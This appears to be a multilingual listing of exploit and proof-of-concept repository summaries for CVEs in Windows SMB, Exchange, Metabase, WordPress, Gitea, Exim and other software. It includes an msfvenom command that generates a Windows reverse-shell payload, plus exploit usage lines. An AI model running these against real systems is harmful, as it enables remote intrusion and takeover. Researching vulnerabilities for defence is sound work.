CVE-2020-0796

CVE-2020-0796 Explication de CVE-2020-0796 et recherche de la vulnérabilité pour le projet de semestre CENG325 pour débutants Comment exploiter ? Génération de payload utilisateur pour reverse shell : msfvenom -a x64 --platform windows -p windows/x64/shellreversetcp LHOST= LPORT=5555 -f python po...

proxylogscan

proxylogscan Этот инструмент предназначен для массового сканирования уязвимости в Microsoft Exchange Server, которая позволяет злоумышленнику обойти аутентификацию и выдать себя за администратора CVE-2021-26855. Связывая эту ошибку с другой уязвимостью произвольной записи файлов после...

CVE-2023-38646

CVE-2023-38646 Fork dekh4sh3i's supprimant le besoin de Burp Collector. CVE-2023-38646 Pre-Auth RCE dans Metabase : Metabase open source avant 0.46.6.1 et Metabase Enterprise avant 1.46.6.1 permettent aux attaquants d'exécuter des commandes arbitraires sur le serveur, au niveau de privilège du...

exploit-CVE-2016-6515

Déni de service à distance OpenSSH Avant la version 7.3, OpenSSH ne limite pas la longueur des mots de passe pour l'authentification par mot de passe, ce qui permet à des attaquants distants de provoquer un déni de service consommation CPU de crypt via une chaîne de caractères longue. Ce bogue...

CVE-2026-39987-Poc

CVE-2026-39987-Poc CVE-2026-39987Marimo Pre-Auth RCE용 PoCProof of Concept 웹소켓 클라이언트로, 승인된 보안 테스트를 위해 제작되었습니다. ⚠️ 면책 조항 이 스크립트/도구는 교육, 연구 및 승인된 테스트 목적으로만 제공됩니다. 명시적이고 합법적인 권한이 있는 시스템예: Hack The Box와 같은 공인 Capture The Flag 환경에서 사용하도록 설계되었습니다. 저자는 이 도구로 인해 발생하는 오용, 손상 또는 불법 활동에 대해 어떠한 책임도 지지 않으며, 책임을...

Blackash-CVE-2025-61757

🚨 CVE-2025-61757 — Alerte RCE sans authentification 🚨 🧩 Résumé ID: CVE-2025-61757 Produit: Oracle Identity Manager Oracle Fusion Middleware Composant: REST WebServices Versions affectées: 12.2.1.4.0 & 14.1.2.1.0 Sévérité: 🔴 Critique — 9.8 CVSS 3.1 Publié le: 21 octobre 2025 Type: Absence...

CVE-2024-57376

CVE-2024-57376 Exploit d'exécution de code à distance sans authentification pour D-Link DSR-250 et DSR-250N Avis de sécurité : https://supportannouncement.us.dlink.com/security/publication.aspx?name=SAP10415 Utilisation $ python3 exploit.py usage: Exemple $ python3 exploit.py 192.168.1.1 443 id +...

cve-2020-1764-poc

CVE-2020-1764 PoC Preuve de concept PoC de contournement d'authentification pour Kiali 0.4.0 à 1.15.0 utilisant la stratégie d'authentification par connexion Bulletin de sécurité Vérifier la version : curl 'http:///api Vérifier la stratégie d'authentification : curl 'http:///api/auth/info' go run...

typehub-exploiter

typehub-exploiter GILANG - Exploiteur pour CVE-2021-25094 référence : https://darkpills.com/wordpress-tatsu-builder-preauth-rce-cve-2021-25094/ charge utile : site.com/wp-admin/admin-ajax.php chemin du bug : site.com/wp-content/uploads/typehub/custom/ Remerciements à : Ibnudz, Dark clown security...

metasploitable-pentest-lab

Exploitation de vulnérabilités sur Metasploitable Cycle complet d'une attaque réelle sur un environnement contrôlé et isolé : préparation du laboratoire, reconnaissance avec nmap, priorisation de la surface d'attaque, mapping vers CVE, exploitation avec Metasploit, post-exploitation, extraction e...

ProxyLogon

ProxyLogon ProxyLogon est le nom formellement générique de CVE-2021-26855, une vulnérabilité sur Microsoft Exchange Server qui permet à un attaquant de contourner l'authentification et d'usurper l'identité de l'administrateur. Nous avons également enchaîné ce bug avec une autre vulnérabilité...

xss2shell

🔥 XSS2Shell — сканер и PoC-инструментарий для CVE-2026-64638 Массовый сканер на основе поведенческого анализа behavior-first и генератор PoC-страниц доказательного уровня для цепочки XSS-to-RCE без предварительной аутентификации, затрагивающей 500M+ веб-сайтов на WordPress. Только обнаружение. Бе...

Exploiting-a-vulnerability-using-reverse-shell

Fondamentaux de la sécurité de l'information — Projet Printemps 2026 Points totaux : 20 | Date limite : Aucune soumission tardive acceptée Aperçu Ce projet simule un scénario réaliste d'attaque et de défense entre deux machines virtuelles. Vous exploiterez une vulnérabilité critique de RCE...

CVE-2025-32433_Erlang-OTP_PoC

CVE-2025-32433Erlang-OTP Этот скрипт — специализированный инструмент безопасности, предназначенный для проверки критической уязвимости до аутентификации в системах, использующих SSH-серверы на базе Erlang Этот скрипт — специализированный инструмент безопасности, предназначенный для проверки...

CVE-2026-64638-PoC-XSS2Shell-

XSS2Shell — WordPress Pre-Auth XSS → RCE Chain PoC CVE-2026-64638 · Reflected XSS on wp-login.php · CVSS 8.9 v4.0 · Patched in WordPress 7.0.3 ⚠️ AUTHORIZED TESTING ONLY. This tool is for security research and authorized penetration testing against systems you own or have explicit written...

poc-CVE-2026-64638-

XSS2Shell — CVE-2026-64638 PoC Цепочка эксплойта WordPress: Pre-Auth XSS → RCE, основана на исследовании pwn.ai, опубликованном на ionsec.io. ⚠️ ПРАВОВОЕ ПРЕДУПРЕЖДЕНИЕ : Только для ОБРАЗОВАТЕЛЬНЫХ ЦЕЛЕЙ и АВТОРИЗОВАННОГО ТЕСТИРОВАНИЯ. Применяйте только к системам, которыми вы владеете или на...

CVE-2026-60004-poc-gitea

CVE-2026-60004: доказательство концепции PoC Обзор Этот репозиторий содержит инструмент доказательства концепции для CVE-2026-60004 — вектора удалённого выполнения кода RCE с аутентификацией или без неё, затрагивающего некоторые версии Gitea через технику внедрения хука diffpatch. Основная...

wp2shell-Exploit-Waf-Bypass

| \ / / / / / | | /| / / \ / // / / / / / | |/ |/ / // // / / / / / / / |/|/////// ///// WordPress Pre-Auth RCE — CVE-2026-63030 + CVE-2026-60137 by Venexy M4xSec Удалённое выполнение кода без аутентификации на WordPress 6.8.0–6.8.5, 6.9.0–6.9.4, 7.0.0–7.0.1. Исправлено в версиях 6.8.6, 6.9.5,...

HikvisionExploiter_fixed

HikvisionExploiter Outil de sécurité éducatif pour vérifier les expositions non sécurisées de Hikvision et tester CVE-2021-36260 dans des environnements autorisés. ⚠️ Avertissement juridique et éthique Ce projet doit être utilisé uniquement sur des systèmes qui vous appartiennent ou pour lesquels...

CVE-2026-45185

CVE-2026-45185 — Dead.Letter: Exim Heap UAF до удалённого root CVSS 9.8 Critical | Exim 4.97–4.99.2 | Ubuntu / сборки GnuTLS | без аутентификации Полный разбор с GDB-трассировкой, пошаговым анализом и данными о глобальной подверженности:...